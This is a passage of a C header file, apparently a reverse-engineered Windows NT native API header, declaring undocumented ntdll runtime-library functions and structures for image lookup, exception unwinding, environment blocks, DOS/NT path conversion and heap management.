_KERNEL_MODE + +NTSYSAPI +PIMAGE_SECTION_HEADER +NTAPI +RtlImageRvaToSection( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG Rva +); + +NTSYSAPI +PVOID +NTAPI +RtlImageRvaToVa( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG Rva, + _Out_opt_ PIMAGE_SECTION_HEADER* LastRvaSection +); + +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN10) +// rev +NTSYSAPI +PVOID +NTAPI +RtlFindExportedRoutineByName( + _In_ PVOID BaseOfImage, + _In_ PCSTR RoutineName +); +#endif + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGuardCheckLongJumpTarget( + _In_ PVOID PcValue, + _In_ BOOL IsFastFail, + _Out_ PBOOL IsLongJumpTarget +); +#endif + +#endif // !_KERNEL_MODE + +#ifdef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlPcToFileName( + _In_ PVOID PcValue, + _Out_ PUNICODE_STRING FileName +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlPcToFilePath( + _In_ PVOID PcValue, + _Out_ PUNICODE_STRING FilePath +); + +NTSYSAPI +PVOID +NTAPI +RtlPcToFileHeader( + _In_ PVOID PcValue, + _Out_ PVOID* BaseOfImage +); + +NTSYSAPI +VOID +NTAPI +RtlRaiseException( + _In_ PEXCEPTION_RECORD ExceptionRecord +); + +NTSYSAPI +VOID +NTAPI +RtlUnwind( + _In_opt_ PVOID TargetFrame, + _In_opt_ PVOID TargetIp, + _In_opt_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PVOID ReturnValue +); + +#if defined(_M_AMD64) || defined(_M_ARM64) || defined(_M_ARM) + +// +// Define unwind history table structure. +// + +#define UNWIND_HISTORY_TABLE_SIZE 12 + +typedef struct _UNWIND_HISTORY_TABLE_ENTRY +{ + ULONG_PTR ImageBase; + PIMAGE_RUNTIME_FUNCTION_ENTRY FunctionEntry; + +} UNWIND_HISTORY_TABLE_ENTRY, * PUNWIND_HISTORY_TABLE_ENTRY; + +typedef struct _UNWIND_HISTORY_TABLE +{ + UINT32 Count; + UINT8 LocalHint; + UINT8 GlobalHint; + UINT8 Search; + UINT8 Once; + ULONG_PTR LowAddress; + ULONG_PTR HighAddress; + UNWIND_HISTORY_TABLE_ENTRY Entry[UNWIND_HISTORY_TABLE_SIZE]; + +} UNWIND_HISTORY_TABLE, * PUNWIND_HISTORY_TABLE; + +NTSYSAPI +PIMAGE_RUNTIME_FUNCTION_ENTRY +NTAPI +RtlLookupFunctionEntry( + _In_ DWORD64 ControlPc, + _Out_ PDWORD64 ImageBase, + _Inout_opt_ PUNWIND_HISTORY_TABLE HistoryTable +); + +NTSYSAPI +VOID +__cdecl +RtlRestoreContext( + _In_ PCONTEXT ContextRecord, + _In_opt_ struct _EXCEPTION_RECORD* ExceptionRecord +); + +NTSYSAPI +VOID +NTAPI +RtlUnwindEx( + _In_opt_ PVOID TargetFrame, + _In_opt_ PVOID TargetIp, + _In_opt_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PVOID ReturnValue, + _In_ PCONTEXT ContextRecord, + _In_opt_ PUNWIND_HISTORY_TABLE HistoryTable +); + +NTSYSAPI +PEXCEPTION_ROUTINE +NTAPI +RtlVirtualUnwind( + _In_ UINT32 HandlerType, + _In_ SIZE_T ImageBase, + _In_ SIZE_T ControlPc, + _In_ PIMAGE_RUNTIME_FUNCTION_ENTRY FunctionEntry, + _Inout_ PCONTEXT ContextRecord, + _Out_ PVOID* HandlerData, + _Out_ PSIZE_T EstablisherFrame, + _Inout_opt_ /*PKNONVOLATILE_CONTEXT_POINTERS*/ PVOID ContextPointers +); + +#endif // _M_AMD64 | _M_ARM64 | _M_ARM + +#endif // _KERNEL_MODE + +typedef struct _RTL_MODULE_BASIC_INFO { + PVOID ImageBase; +} RTL_MODULE_BASIC_INFO, * PRTL_MODULE_BASIC_INFO; + +typedef struct _RTL_MODULE_EXTENDED_INFO { + RTL_MODULE_BASIC_INFO BasicInfo; + ULONG ImageSize; + USHORT FileNameOffset; + UCHAR FullPathName[256]; +} RTL_MODULE_EXTENDED_INFO, * PRTL_MODULE_EXTENDED_INFO; + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryModuleInformation( // ZwQuerySystemInformation(SystemModuleInformation) + _Out_ PULONG ReturnLength, + _In_ ULONG BufferSize, // sizeof RTL_MODULE_EXTENDED_INFO or RTL_MODULE_BASIC_INFO + _In_ PVOID Buffer // PRTL_MODULE_EXTENDED_INFO or PRTL_MODULE_BASIC_INFO +); + +// +// Memory +// + +_Must_inspect_result_ +NTSYSAPI +SIZE_T +NTAPI +RtlCompareMemoryUlong( + _In_reads_bytes_(Length) PVOID Source, + _In_ SIZE_T Length, + _In_ ULONG Pattern +); + +#ifndef _KERNEL_MODE + +#if defined(_M_AMD64) +FORCEINLINE +VOID +RtlFillMemoryUlong( + _Out_writes_bytes_all_(Length) PVOID Destination, + _In_ SIZE_T Length, + _In_ ULONG Pattern +) +{ + PULONG Address = (PULONG)Destination; + + // + // If the number of DWORDs is not zero, then fill the specified buffer + // with the specified pattern. + // + + if ((Length /= 4) != 0) { + + // + // If the destination is not quadword aligned (ignoring low bits), + // then align the destination by storing one DWORD. + // + + if (((ULONG64)Address & 4) != 0) { + *Address = Pattern; + if ((Length -= 1) == 0) { + return; + } + + Address += 1; + } + + // + // If the number of QWORDs is not zero, then fill the destination + // buffer a QWORD at a time. + // + + __stosq((PULONG64)(Address), + Pattern | ((ULONG64)Pattern << 32), + Length / 2); + + if ((Length & 1) != 0) { + Address[Length - 1] = Pattern; + } + } + + return; +} +#else +NTSYSAPI +VOID +NTAPI +RtlFillMemoryUlong( + _Out_writes_bytes_all_(Length) PVOID Destination, + _In_ SIZE_T Length, + _In_ ULONG Pattern +); +#endif + +#if defined(_M_AMD64) +#define RtlFillMemoryUlonglong(Destination, Length, Pattern) \ + __stosq((PULONG64)(Destination), Pattern, (Length) / 8) +#else +NTSYSAPI +VOID +NTAPI +RtlFillMemoryUlonglong( + _Out_writes_bytes_all_(Length) PVOID Destination, + _In_ SIZE_T Length, + _In_ ULONGLONG Pattern +); +#endif + +#endif // !_KERNEL_MODE + +// +// Environment +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateEnvironment( + _In_ BOOLEAN CloneCurrentEnvironment, + _Out_ PVOID* Environment +); + +// begin_rev +#define RTL_CREATE_ENVIRONMENT_TRANSLATE 0x1 // translate from multi-byte to Unicode +#define RTL_CREATE_ENVIRONMENT_TRANSLATE_FROM_OEM 0x2 // translate from OEM to Unicode (Translate flag must also be set) +#define RTL_CREATE_ENVIRONMENT_EMPTY 0x4 // create empty environment block +// end_rev + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateEnvironmentEx( + _In_ PVOID SourceEnv, + _Out_ PVOID* Environment, + _In_ ULONG Flags +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyEnvironment( + _In_ PVOID Environment +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetCurrentEnvironment( + _In_ PVOID Environment, + _Out_opt_ PVOID* PreviousEnvironment +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSetEnvironmentVar( + _Inout_opt_ PVOID* Environment, + _In_reads_(NameLength) PCWSTR Name, + _In_ SIZE_T NameLength, + _In_reads_(ValueLength) PCWSTR Value, + _In_ SIZE_T ValueLength +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetEnvironmentVariable( + _Inout_opt_ PVOID* Environment, + _In_ PUNICODE_STRING Name, + _In_opt_ PUNICODE_STRING Value +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryEnvironmentVariable( + _In_opt_ PVOID Environment, + _In_reads_(NameLength) PCWSTR Name, + _In_ SIZE_T NameLength, + _Out_writes_(ValueLength) PWSTR Value, + _In_ SIZE_T ValueLength, + _Out_ PSIZE_T ReturnLength +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryEnvironmentVariable_U( + _In_opt_ PVOID Environment, + _In_ PUNICODE_STRING Name, + _Inout_ PUNICODE_STRING Value +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlExpandEnvironmentStrings( + _In_opt_ PVOID Environment, + _In_reads_(SrcLength) PCWSTR Src, + _In_ SIZE_T SrcLength, + _Out_writes_(DstLength) PWSTR Dst, + _In_ SIZE_T DstLength, + _Out_opt_ PSIZE_T ReturnLength +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlExpandEnvironmentStrings_U( + _In_opt_ PVOID Environment, + _In_ PUNICODE_STRING Source, + _Inout_ PUNICODE_STRING Destination, + _Out_opt_ PULONG ReturnedLength +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetEnvironmentStrings( + _In_ PCWCHAR NewEnvironment, + _In_ SIZE_T NewEnvironmentSize +); + +#endif // !_KERNEL_MODE + +// +// Directory and path support +// + +#ifndef _KERNEL_MODE + +typedef struct _RTLP_CURDIR_REF +{ + LONG ReferenceCount; + HANDLE DirectoryHandle; +} RTLP_CURDIR_REF, * PRTLP_CURDIR_REF; + +typedef struct _RTL_RELATIVE_NAME_U +{ + UNICODE_STRING RelativeName; + HANDLE ContainingDirectory; + PRTLP_CURDIR_REF CurDirRef; +} RTL_RELATIVE_NAME_U, * PRTL_RELATIVE_NAME_U; + +typedef enum _RTL_PATH_TYPE +{ + RtlPathTypeUnknown, + RtlPathTypeUncAbsolute, + RtlPathTypeDriveAbsolute, + RtlPathTypeDriveRelative, + RtlPathTypeRooted, + RtlPathTypeRelative, + RtlPathTypeLocalDevice, + RtlPathTypeRootLocalDevice +} RTL_PATH_TYPE; + +// Data exports (ntdll.lib/ntdllp.lib) + +NTSYSAPI PWSTR RtlNtdllName; +NTSYSAPI UNICODE_STRING RtlDosPathSeperatorsString; +NTSYSAPI UNICODE_STRING RtlAlternateDosPathSeperatorString; +NTSYSAPI UNICODE_STRING RtlNtPathSeperatorString; + +// Path functions + +NTSYSAPI +RTL_PATH_TYPE +NTAPI +RtlDetermineDosPathNameType_U( + _In_ PCWSTR DosFileName +); + +NTSYSAPI +RTL_PATH_TYPE +NTAPI +RtlDetermineDosPathNameType_Ustr( + _In_ PCUNICODE_STRING DosFileName +); + +NTSYSAPI +ULONG +NTAPI +RtlIsDosDeviceName_U( + _In_ PCWSTR DosFileName +); + +NTSYSAPI +ULONG +NTAPI +RtlIsDosDeviceName_Ustr( + _In_ PUNICODE_STRING DosFileName +); + +NTSYSAPI +ULONG +NTAPI +RtlGetFullPathName_U( + _In_ PCWSTR FileName, + _In_ ULONG BufferLength, + _Out_writes_bytes_(BufferLength) PWSTR Buffer, + _Out_opt_ PWSTR* FilePart +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetFullPathName_UEx( + _In_ PCWSTR FileName, + _In_ ULONG BufferLength, + _Out_writes_bytes_(BufferLength) PWSTR Buffer, + _Out_opt_ PWSTR* FilePart, + _Out_opt_ ULONG* BytesRequired +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WS03) +NTSYSAPI +NTSTATUS +NTAPI +RtlGetFullPathName_UstrEx( + _In_ PUNICODE_STRING FileName, + _Inout_ PUNICODE_STRING StaticString, + _Out_opt_ PUNICODE_STRING DynamicString, + _Out_opt_ PUNICODE_STRING* StringUsed, + _Out_opt_ SIZE_T* FilePartPrefixCch, + _Out_opt_ PBOOLEAN NameInvalid, + _Out_ RTL_PATH_TYPE* InputPathType, + _Out_opt_ SIZE_T* BytesRequired +); +#endif + +NTSYSAPI +ULONG +NTAPI +RtlGetCurrentDirectory_U( + _In_ ULONG BufferLength, + _Out_writes_bytes_(BufferLength) PWSTR Buffer +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetCurrentDirectory_U( + _In_ PUNICODE_STRING PathName +); + +NTSYSAPI +ULONG +NTAPI +RtlGetLongestNtPathLength( + VOID +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlDosPathNameToNtPathName_U( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR* FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName +); + +#if (NTDDI_VERSION >= NTDDI_WS03) +NTSYSAPI +NTSTATUS +NTAPI +RtlDosPathNameToNtPathName_U_WithStatus( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR* FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlDosLongPathNameToNtPathName_U_WithStatus( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR* FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WS03) +NTSYSAPI +BOOLEAN +NTAPI +RtlDosPathNameToRelativeNtPathName_U( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR* FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WS03) +NTSYSAPI +NTSTATUS +NTAPI +RtlDosPathNameToRelativeNtPathName_U_WithStatus( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR* FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlDosLongPathNameToRelativeNtPathName_U_WithStatus( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR* FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WS03) +NTSYSAPI +VOID +NTAPI +RtlReleaseRelativeName( + _Inout_ PRTL_RELATIVE_NAME_U RelativeName +); +#endif + +NTSYSAPI +ULONG +NTAPI +RtlDosSearchPath_U( + _In_ PCWSTR Path, + _In_ PCWSTR FileName, + _In_opt_ PCWSTR Extension, + _In_ ULONG BufferLength, + _Out_writes_bytes_(BufferLength) PWSTR Buffer, + _Out_opt_ PWSTR* FilePart +); + +#define RTL_DOS_SEARCH_PATH_FLAG_APPLY_ISOLATION_REDIRECTION 0x00000001 +#define RTL_DOS_SEARCH_PATH_FLAG_DISALLOW_DOT_RELATIVE_PATH_SEARCH 0x00000002 +#define RTL_DOS_SEARCH_PATH_FLAG_APPLY_DEFAULT_EXTENSION_WHEN_NOT_RELATIVE_PATH_EVEN_IF_FILE_HAS_EXTENSION 0x00000004 + +NTSYSAPI +NTSTATUS +NTAPI +RtlDosSearchPath_Ustr( + _In_ ULONG Flags, + _In_ PUNICODE_STRING Path, + _In_ PUNICODE_STRING FileName, + _In_opt_ PUNICODE_STRING DefaultExtension, + _Out_opt_ PUNICODE_STRING StaticString, + _Out_opt_ PUNICODE_STRING DynamicString, + _Out_opt_ PCUNICODE_STRING* FullFileNameOut, + _Out_opt_ SIZE_T* FilePartPrefixCch, + _Out_opt_ SIZE_T* BytesRequired +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlDoesFileExists_U( + _In_ PCWSTR FileName +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetLengthWithoutLastFullDosOrNtPathElement( + _Reserved_ ULONG Flags, + _In_ PUNICODE_STRING PathString, + _Out_ PULONG Length +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetLengthWithoutTrailingPathSeperators( + _Reserved_ ULONG Flags, + _In_ PUNICODE_STRING PathString, + _Out_ PULONG Length +); + +typedef struct _GENERATE_NAME_CONTEXT +{ + USHORT Checksum; + BOOLEAN CheckSumInserted; + UCHAR NameLength; + WCHAR NameBuffer[8]; + ULONG ExtensionLength; + WCHAR ExtensionBuffer[4]; + ULONG LastIndexValue; +} GENERATE_NAME_CONTEXT, * PGENERATE_NAME_CONTEXT; + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlGenerate8dot3Name( + _In_ PUNICODE_STRING Name, + _In_ BOOLEAN AllowExtendedCharacters, + _Inout_ PGENERATE_NAME_CONTEXT Context, + _Inout_ PUNICODE_STRING Name8dot3 +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlComputePrivatizedDllName_U( + _In_ PUNICODE_STRING DllName, + _Out_ PUNICODE_STRING RealName, + _Out_ PUNICODE_STRING LocalName +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetSearchPath( + _Out_ PWSTR* SearchPath +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSetSearchPathMode( + _In_ ULONG Flags +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetExePath( + _In_ PCWSTR DosPathName, + _Out_ PWSTR* SearchPath +); + +// rev +NTSYSAPI +VOID +NTAPI +RtlReleasePath( + _In_ PWSTR Path +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS2) +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +PCWSTR +NTAPI +RtlGetNtSystemRoot( + VOID +); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlAreLongPathsEnabled( + VOID +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS2 + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsThreadWithinLoaderCallout( + VOID +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlDllShutdownInProgress( + VOID +); + +#endif // !_KERNEL_MODE + +// +// Heaps +// + +#ifndef _KERNEL_MODE + +typedef struct _RTL_HEAP_ENTRY +{ + SIZE_T Size; + USHORT Flags; + USHORT AllocatorBackTraceIndex; + union + { + struct + { + SIZE_T Settable; + ULONG Tag; + } s1; + struct + { + SIZE_T CommittedSize; + PVOID FirstBlock; + } s2; + } u; +} RTL_HEAP_ENTRY, * PRTL_HEAP_ENTRY; + +#define RTL_HEAP_BUSY (USHORT)0x0001 +#define RTL_HEAP_SEGMENT (USHORT)0x0002 +#define RTL_HEAP_SETTABLE_VALUE (USHORT)0x0010 +#define RTL_HEAP_SETTABLE_FLAG1 (USHORT)0x0020 +#define RTL_HEAP_SETTABLE_FLAG2 (USHORT)0x0040 +#define RTL_HEAP_SETTABLE_FLAG3 (USHORT)0x0080 +#define RTL_HEAP_SETTABLE_FLAGS (USHORT)0x00e0 +#define RTL_HEAP_UNCOMMITTED_RANGE (USHORT)0x0100 +#define RTL_HEAP_PROTECTED_ENTRY (USHORT)0x0200 + +typedef struct _RTL_HEAP_TAG +{ + ULONG NumberOfAllocations; + ULONG NumberOfFrees; + SIZE_T BytesAllocated; + USHORT TagIndex; + USHORT CreatorBackTraceIndex; + WCHAR TagName[24]; +} RTL_HEAP_TAG, * PRTL_HEAP_TAG; + +typedef struct _RTL_HEAP_INFORMATION +{ + PVOID BaseAddress; + ULONG Flags; + USHORT EntryOverhead; + USHORT CreatorBackTraceIndex; + SIZE_T BytesAllocated; + SIZE_T BytesCommitted; + ULONG NumberOfTags; + ULONG NumberOfEntries; + ULONG NumberOfPseudoTags; + ULONG PseudoTagGranularity; + ULONG Reserved[5]; + PRTL_HEAP_TAG Tags; + PRTL_HEAP_ENTRY Entries; + ULONG64 HeapTag; // Windows 11 > 22000 +} RTL_HEAP_INFORMATION, * PRTL_HEAP_INFORMATION; + +#define RTL_HEAP_SIGNATURE 0xFFEEFFEEUL +#define RTL_HEAP_SEGMENT_SIGNATURE 0xDDEEDDEEUL + +typedef struct _RTL_PROCESS_HEAPS +{ + ULONG NumberOfHeaps; + RTL_HEAP_INFORMATION Heaps[1]; +} RTL_PROCESS_HEAPS, * PRTL_PROCESS_HEAPS; + +typedef +_Function_class_(RTL_HEAP_COMMIT_ROUTINE) +_IRQL_requires_same_ +NTSTATUS +NTAPI +RTL_HEAP_COMMIT_ROUTINE( + _In_ PVOID Base, + _Inout_ PVOID* CommitAddress, + _Inout_ PSIZE_T CommitSize +); +typedef RTL_HEAP_COMMIT_ROUTINE* PRTL_HEAP_COMMIT_ROUTINE; + +typedef struct _RTL_HEAP_PARAMETERS +{ + ULONG Length; + SIZE_T SegmentReserve; + SIZE_T SegmentCommit; + SIZE_T DeCommitFreeBlockThreshold; + SIZE_T DeCommitTotalFreeThreshold; + SIZE_T MaximumAllocationSize; + SIZE_T VirtualMemoryThreshold; + SIZE_T InitialCommit; + SIZE_T InitialReserve; + PRTL_HEAP_COMMIT_ROUTINE CommitRoutine; + SIZE_T Reserved[2]; +} RTL_HEAP_PARAMETERS, * PRTL_HEAP_PARAMETERS; + +#define HEAP_SETTABLE_USER_VALUE 0x00000100 +#define HEAP_SETTABLE_USER_FLAG1 0x00000200 +#define HEAP_SETTABLE_USER_FLAG2 0x00000400 +#define HEAP_SETTABLE_USER_FLAG3 0x00000800 +#define HEAP_SETTABLE_USER_FLAGS 0x00000e00 + +#define HEAP_CLASS_0 0x00000000 // Process heap +#define HEAP_CLASS_1 0x00001000 // Private heap +#define HEAP_CLASS_2 0x00002000 // Kernel heap +#define HEAP_CLASS_3 0x00003000 // GDI heap +#define HEAP_CLASS_4 0x00004000 // User heap +#define HEAP_CLASS_5 0x00005000 // Console heap +#define HEAP_CLASS_6 0x00006000 // User desktop heap +#define HEAP_CLASS_7 0x00007000 // CSR shared heap +#define HEAP_CLASS_8 0x00008000 // CSR port heap +#define HEAP_CLASS_MASK 0x0000f000 + +_Must_inspect_result_ +NTSYSAPI +PVOID +NTAPI +RtlCreateHeap( + _In_ ULONG Flags, + _In_opt_ PVOID HeapBase, + _In_opt_ SIZE_T ReserveSize, + _In_opt_ SIZE_T CommitSize, + _In_opt_ PVOID Lock, + _In_opt_ PRTL_HEAP_PARAMETERS Parameters +); + +NTSYSAPI +PVOID +NTAPI +RtlDestroyHeap( + _In_ _Post_invalid_ PVOID HeapHandle +); + +_Must_inspect_result_ +_Ret_maybenull_ +_Post_writable_byte_size_(Size) +NTSYSAPI +PVOID +NTAPI +RtlAllocateHeap( + _In_ PVOID HeapHandle, + _In_opt_ ULONG Flags, + _In_ SIZE_T Size +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +_Success_(return != 0) +NTSYSAPI +LOGICAL +NTAPI +RtlFreeHeap( + _In_ PVOID HeapHandle, + _In_opt_ ULONG Flags, + _Frees_ptr_opt_ PVOID BaseAddress +); +#else +_Success_(return) +NTSYSAPI +BOOLEAN +NTAPI +RtlFreeHeap( + _In_ PVOID HeapHandle, + _In_opt_ ULONG Flags, + _Frees_ptr_opt_ PVOID BaseAddress +); +#endif + +#endif // !_KERNEL_MODE + +NTSYSAPI +SIZE_T +NTAPI +RtlSizeHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlZeroHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags +); + +#ifndef _KERNEL_MODE + +NTSYSAPI +VOID +NTAPI +RtlProtectHeap( + _In_ PVOID HeapHandle, + _In_ BOOLEAN MakeReadOnly +); + +#endif // !_KERNEL_MODE + +#define RtlProcessHeap() (NtCurrentPeb()->ProcessHeap) + +#ifndef _KERNEL_MODE + +NTSYSAPI +BOOLEAN +NTAPI +RtlLockHeap( + _In_ PVOID HeapHandle +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlUnlockHeap( + _In_ PVOID HeapHandle +); + +NTSYSAPI +PVOID +NTAPI +RtlReAllocateHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _Frees_ptr_opt_ PVOID BaseAddress, + _In_ SIZE_T Size +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlGetUserInfoHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _Out_opt_ PVOID * UserValue, + _Out_opt_ PULONG UserFlags +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlSetUserValueHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _In_ PVOID UserValue +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlSetUserFlagsHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _In_ ULONG UserFlagsReset, + _In_ ULONG UserFlagsSet +); + +typedef struct _RTL_HEAP_TAG_INFO +{ + ULONG NumberOfAllocations; + ULONG NumberOfFrees; + SIZE_T BytesAllocated; +} RTL_HEAP_TAG_INFO, * PRTL_HEAP_TAG_INFO; + +#define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS + +NTSYSAPI +ULONG +NTAPI +RtlCreateTagHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_opt_ PWSTR TagPrefix, + _In_ PWSTR TagNames +); + +NTSYSAPI +PWSTR +NTAPI +RtlQueryTagHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ USHORT TagIndex, + _In_ BOOLEAN ResetCounters, + _Out_opt_ PRTL_HEAP_TAG_INFO TagInfo +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlExtendHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID Base, + _In_ SIZE_T Size +); + +NTSYSAPI +SIZE_T +NTAPI +RtlCompactHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidateHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidateProcessHeaps( + VOID +); + +NTSYSAPI +ULONG +NTAPI +RtlGetProcessHeaps( + _In_ ULONG NumberOfHeaps, + _Out_ PVOID * ProcessHeaps +); + +typedef NTSTATUS(NTAPI* PRTL_ENUM_HEAPS_ROUTINE)( + _In_ PVOID HeapHandle, + _In_ PVOID Parameter + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlEnumProcessHeaps( + _In_ PRTL_ENUM_HEAPS_ROUTINE EnumRoutine, + _In_ PVOID Parameter +); + +typedef struct _RTL_HEAP_USAGE_ENTRY +{ + struct _RTL_HEAP_USAGE_ENTRY* Next; + PVOID Address; + SIZE_T Size; + USHORT AllocatorBackTraceIndex; + USHORT TagIndex; +} RTL_HEAP_USAGE_ENTRY, * PRTL_HEAP_USAGE_ENTRY; + +typedef struct _RTL_HEAP_USAGE +{ + ULONG Length; + SIZE_T BytesAllocated; + SIZE_T BytesCommitted; + SIZE_T BytesReserved; + SIZE_T BytesReservedMaximum; + PRTL_HEAP_USAGE_ENTRY Entries; + PRTL_HEAP_USAGE_ENTRY AddedEntries; + PRTL_HEAP_USAGE_ENTRY RemovedEntries; + ULONG_PTR Reserved[8]; +} RTL_HEAP_USAGE, * PRTL_HEAP_USAGE; + +#define HEAP_USAGE_ALLOCATED_BLOCKS HEAP_REALLOC_IN_PLACE_ONLY +#define HEAP_USAGE_FREE_BUFFER HEAP_ZERO_MEMORY + +NTSYSAPI +NTSTATUS +NTAPI +RtlUsageHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _Inout_ PRTL_HEAP_USAGE Usage +); + +typedef struct _RTL_HEAP_WALK_ENTRY +{ + PVOID DataAddress; + SIZE_T DataSize; + UCHAR OverheadBytes; + UCHAR SegmentIndex; + USHORT Flags; + union + { + struct + { + SIZE_T Settable; + USHORT TagIndex; + USHORT AllocatorBackTraceIndex; + ULONG Reserved[2]; + } Block; + struct + { + ULONG CommittedSize; + ULONG UnCommittedSize; + PVOID FirstEntry; + PVOID LastEntry; + } Segment; + }; +} RTL_HEAP_WALK_ENTRY, * PRTL_HEAP_WALK_ENTRY; + +NTSYSAPI +NTSTATUS +NTAPI +RtlWalkHeap( + _In_ PVOID HeapHandle, + _Inout_ PRTL_HEAP_WALK_ENTRY Entry +); + +// HEAP_INFORMATION_CLASS +#define HeapCompatibilityInformation ((HEAP_INFORMATION_CLASS)0x0 ) // q; s: ULONG +#define HeapEnableTerminationOnCorruption ((HEAP_INFORMATION_CLASS)0x1 ) // q; s: NULL +#define HeapExtendedInformation ((HEAP_INFORMATION_CLASS)0x2 ) // q; s: HEAP_EXTENDED_INFORMATION +#define HeapOptimizeResources ((HEAP_INFORMATION_CLASS)0x3 ) // q; s: HEAP_OPTIMIZE_RESOURCES_INFORMATION +#define HeapTaggingInformation ((HEAP_INFORMATION_CLASS)0x4 ) +#define HeapStackDatabase ((HEAP_INFORMATION_CLASS)0x5 ) +#define HeapMemoryLimit ((HEAP_INFORMATION_CLASS)0x6 ) // 19H2 +#define HeapDetailedFailureInformation ((HEAP_INFORMATION_CLASS)0x80000001) +#define HeapSetDebuggingInformation ((HEAP_INFORMATION_CLASS)0x80000002) // q; s: HEAP_DEBUGGING_INFORMATION + +typedef enum _HEAP_COMPATIBILITY_MODE +{ + HEAP_COMPATIBILITY_STANDARD = 0UL, + HEAP_COMPATIBILITY_LAL = 1UL, + 